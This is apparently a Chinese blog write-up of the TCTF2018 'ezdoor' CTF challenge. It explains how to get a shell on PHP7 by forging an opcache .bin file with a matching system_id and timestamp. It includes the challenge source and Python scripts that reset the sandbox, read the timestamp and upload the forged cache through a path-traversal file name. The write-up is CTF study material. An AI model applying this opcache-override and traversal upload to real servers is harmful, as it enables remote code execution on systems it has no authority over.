美文网首页我爱编程
php7的opcache导致的getshell

php7的opcache导致的getshell

作者: _阿烨_ | 来源:发表于2018-04-05 18:33 被阅读0次

    以TCTF2018的ezdoor为例

    相关WP
    正解
    https://github.com/LyleMi/My-CTF-Challenges/tree/master/ezDoor
    非预期解:index.php/. + 条件竞争
    https://blog.zsxsoft.com/post/36
    非预期解:/x/../index.php/.
    http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

    相关知识点
    https://xz.aliyun.com/t/223
    https://github.com/GoSecure/php7-opcache-override
    要求:

    • 目标服务器是php7并开启了opcache缓存
    • 获得目标详细的各种环境信息,最直接的是拿到phpinfo
    • 支持文件上传,能上传.bin文件到tmp目录下
    • 若目标服务器开启了时间戳校验,要么爆破时间戳,或者cms的大部分文件并不会被修改,时间戳与源码一致

    赛题
    http://202.120.7.217:9527
    访问index.php给出了源码,顺便加了点调试的代码,方便本地调试

     <?php
    
    #error_reporting(1);
    
    $dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';  #/sandbox/ip的sha1/
    if(!file_exists($dir)){
    
      mkdir($dir);  #新建了这个路径
    }
    if(!file_exists($dir . "index.php")){
    #   echo '111111';
      touch($dir . "index.php"); #新建了/sandbox/ip的sha1/index.php
    }
    
    function clear($dir) #清空功能
    {
      if(!is_dir($dir)){
        unlink($dir);
        return;
      }
      foreach (scandir($dir) as $file) {
        if (in_array($file, [".", ".."])) {
          continue;
        }
        unlink($dir . $file);
      }
      rmdir($dir);
    }
    
    switch ($_GET["action"] ?? "") {  #显示路径
      case 'pwd':
        echo $dir;
        break;
      case 'phpinfo':
        echo file_get_contents("phpinfo.txt"); #显示phpinfo.txt
        break;
      case 'reset': #清空路径
        clear($dir);
        break;
      case 'time':
        echo time(); #显示时间
        break;
      case 'upload': #上传
        if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
          break; #需要自定义好参数
        }
    
        if ($_FILES['file']['size'] > 100000) {
          clear($dir); #大小限制
          break;
        }
    
        $name = $dir . $_GET["name"]; #获取文件名
    
        echo '目录-----';
        echo var_dump($dir);
        echo '文件路径-----';
        echo var_dump($name);
        echo '后缀名-----';
        echo var_dump(pathinfo($name)["extension"]);
        echo '是否是正常目录,是就返回0-----';
        echo var_dump(preg_match("/[^a-zA-Z0-9.\/]/", $name));
        echo '检查后缀名是否含有h-----';
        echo var_dump(stristr(pathinfo($name)["extension"], "h"));
    
        if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || #文件名范围:^a-zA-Z0-9 . / 是正常目录则返回0.不会进入if条件
          stristr(pathinfo($name)["extension"], "h")) { #若文件后缀名含有h,则退出
          break;
        }
    
        echo '文件是否上传成功:';
        echo var_dump(move_uploaded_file($_FILES['file']['tmp_name'], $name)); #成功上传文件
        $size = 0;
        foreach (scandir($dir) as $file) {
          if (in_array($file, [".", ".."])) {  #上传成功会列出$dir下的目录,遇到文件名有.或者..就跳过
            continue;                          
          }
          $size += filesize($dir . $file); #大小限制
        }
        if ($size > 100000) {
          clear($dir);
        }
        echo 'include file-----';
        echo var_dump($dir . "index.php");
        echo 'content------';
        echo var_dump(file_get_contents($dir . "index.php"));
        echo var_dump(scandir($dir));
        break;
      case 'shell': #限制了两个目录,在这两个目录下可以执行shell命令,说明$dir/index.php是命令执行马
        ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
        include $dir . "index.php"; #会包含index.php
        break;
      #default:
      #  highlight_file(__FILE__);
      #  break;
    }
    

    每次遇到新的知识点,需要的就是静下心来读paper

    给出一些关键信息的截图

    image.png image.png image.png image.png

    那么思路来了

    • 先在本地搭建环境,生成自己的index.php的opcache
    • 访问目标服务器的index.php?action=phpinfo,得到phpinfo,并通过项目https://github.com/GoSecure/php7-opcache-override计算得到其system_id
    • 先访问index.php?action=reset再访问index.php?action=time,清空服务器的index.php然后重新touch index.php,并获得其时间戳
    • 修改自己本地的index.php.bin的system_id和时间戳,与服务器相同,并上传到目标服务器的tmp相应目录下
    • 访问index.php?action=shell,成功include index.php,此时以缓存的内容为主,成功 get shell

    本地环境搭建

    编辑php7的php.ini,添加三句话,然后重启apache,访问得到自己的index.php.bin

    opcache.validate_timestamps = 1   ; PHP 7 的默认值为 1,即开启时间戳校验
    opcache.file_cache_only = 1      ; PHP 7 的默认值为 0
    opcache.file_cache = /tmp/cache
    zend_extension=opcache.so ;有些还需要再添加这句
    
    image.png image.png
    image.png

    获得目标服务器的system_id和时间戳

    index.php?action=phpinfo得到服务器的phpinfo.txt
    git clone https://github.com/GoSecure/php7-opcache-override
    修改其脚本的内容

    image.png
    image.png

    先reset,再获得服务器index.php的时间戳

    image.png

    get-time.py

    import requests
    
    url = 'http://202.120.7.217:9527/index.php?action=reset'
    r = requests.get(url)
    
    url = 'http://202.120.7.217:9527/index.php?action=time'
    r = requests.get(url)
    
    tmp =  hex(int(r.text)).replace('0x','')
    time = tmp[6:8]+tmp[4:6]+tmp[2:4]+tmp[0:2]
    print time
    

    修改本地的index.php.bin的system_id和时间戳

    建议用010editor


    image.png

    上传修改后的index.php.bin到目标服务器对应的tmp目录下

    成功包含并get shell

    image.png

    upload.py

    import requests
    
    files = {'file': open("index.php.bin", 'rb')}
    url = 'http://202.120.7.217:9527/index.php?action=upload&name=../../../../../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/bad02726262861710a4eb6b90e0eb13ad8b7dacc/index.php.bin'
    print 'upload url:'
    print url
    r = requests.post(url,files = files)
    print r
    
    
    url = 'http://202.120.7.217:9527/index.php?action=shell'
    print 'shell:'
    print requests.get(url).text
    

    接下来各种写shell

    目标服务器的目录权限限制,导致不能写入一句话木马
    目标服务器的system等调用系统命令等函数被禁用,导致无法反弹shell
    只能老老实实用php函数,读取想要的东西

    读取目录信息,发现可疑的文件或目录
    93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

    image.png image.png

    判断 93f4c28c0cf0b07dfd7012dca2cb868cc0228cad 是一个文件

    image.png
    image.png
    读取文件
    image.png
    image.png
    base64 -d base64.txt > flag image.png

    得到的是一个opcache的缓存文件,web狗的任务已经完成,接下来是re选手的事了,当时逆向选手已经睡了,我强行逆了一个晚上没搞出来,2333

    相关文章

      网友评论

        本文标题:php7的opcache导致的getshell

        本文链接:https://www.haomeiwen.com/subject/ahtdhftx.html